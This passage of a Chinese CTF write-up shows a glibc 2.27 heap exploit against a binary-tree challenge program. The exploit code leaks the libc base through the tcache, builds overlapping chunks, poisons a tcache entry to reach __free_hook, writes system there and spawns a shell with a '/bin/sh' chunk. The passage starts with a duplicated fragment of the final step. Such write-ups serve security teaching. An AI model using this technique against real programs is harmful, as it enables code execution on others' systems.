free(15)    add(10, 0xd0, '/bin/sh\x00')    add(8, 0x2f, '/bin/sh\x00')    add(13, 0x2f, '/bin/sh\x00')    add(12, 0x2f, p64(system) + p64(0) * (0x28/0x8 - 1) + p32(0).ljust(7, '\x00'))    free(10)    free(8) exp() ia()漏洞其实并不太好利用,分析原因如下:insert节点的时候会额外申请别的堆块出来,整体的堆布局我们其实并不太好控制,所以漏洞利用的时候会有时不可控,我们需要反复的调试,现给出exp的书写思路。 泄露libc基址    for i in range(8):        add(i, 0xd0, 'a')    for i in range(7):        free(i)    add(8, 0x20, 'a')    show()    leak = uu64(ru('\x7f')[-6:]) - 289 - 0x10 - libc.sym['__malloc_hook']    libc_base = leak    echo('libc base:' + hex(libc_base))    free(7)    free(8)在2.27下,只要循环填满tcache即可很容易的泄露出libc 布置二叉树    add(7, 0xdf, 'z' * 0xdf)    add(4, 0xd0, 'a')    add(2, 0xd0, 'a')    add(11, 0xdf, (p64(0) + p64(0xd1)) * 2)    add(10, 0xdf, 'c' * 0xdf)    add(15, 0xdf, 'd' * 0xdf)    add(13, 0xdf, 'e' * 0xd8 + p32(0x71).ljust(7, '\x00'))可以看到,我们在输入content的时候会输入一些很奇怪的值,这个时候的值我们是无法确定的,必须结合后文来慢慢调试。 初始状态如图所示,这个时候我们去free11,将会到达漏洞所在逻辑的位置处,让程序触发漏洞。 此时堆空间的布局如图所示 可以看到这个时候其实已经利用了漏洞改写了下一个堆块的size位,形成了overlap 下面是关键操作,劫持tcache数组的0x30大小的chunk的fd为hook    free(4)    add(4, 0x60, p64(0) * 6 + p64(0) + p64(0x31) + p64(__free_hook))此时的bins情况: 此时的二叉树为: 因为现在已经将freehook链入到tcache里面,下面我们的工作主要就是围绕怎么将其申请出来而努力,首先直接申请是肯定不行的,我也没有深究,因为申请的时候会首先申请两个chunk出来,然后将其free掉,然后再做一系列的memcpy操作,在这一系列的过程中,无法保证中间chunk的合法性能够绕过检查,所以我们还是利用漏洞点申请不同size的chunk的这一特性努力,我们可以逐个布置满足要求的二叉树节点,然后利用漏洞来申请出来这个chunk。 第一轮申请    add(0, 0x2f, 'a')    add(3, 0x2f, 'a' * 0x28 + p32(0x51).ljust(7, '\x00'))    free(2)布置完如下node,二叉树为: 堆布局为: 可以看到还有两个node就可以申请到freehook。    free(0)    free(4)    free(15)    free(10)    free(13)清除一些无关的node,为我们布置节点做好铺垫。 第二轮申请    add(13, 0xd0, 'a')    add(10, 0x2f, 'a')    add(15, 0x2f, 'a')    add(14, 0x2f, 'l' * 0x28 + p32(0x31).ljust(7, '\x00'))    free(13)此时二叉树为: 堆布局为: 清除一些节点来重新布置    free(10)    free(15) 第三轮申请并getshell 故技重施,最终可以申请到hook所在空间并getshell    add(10, 0xd0, '/bin/sh\x00')    add(8, 0x2f, '/bin/sh\x00')    add(13, 0x2f, '/bin/sh\x00')    add(12, 0x2f, p64(system) + p64(0) * (0x28/0x8 - 1) + p32(0).ljust(7, '\x00'))    free(10)    free(8) # getshell 本文到这里就结束了,如果有疑问或者任何不当之处欢迎联系笔者进行技术交流:mailto:lemonujn@gmail.com
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页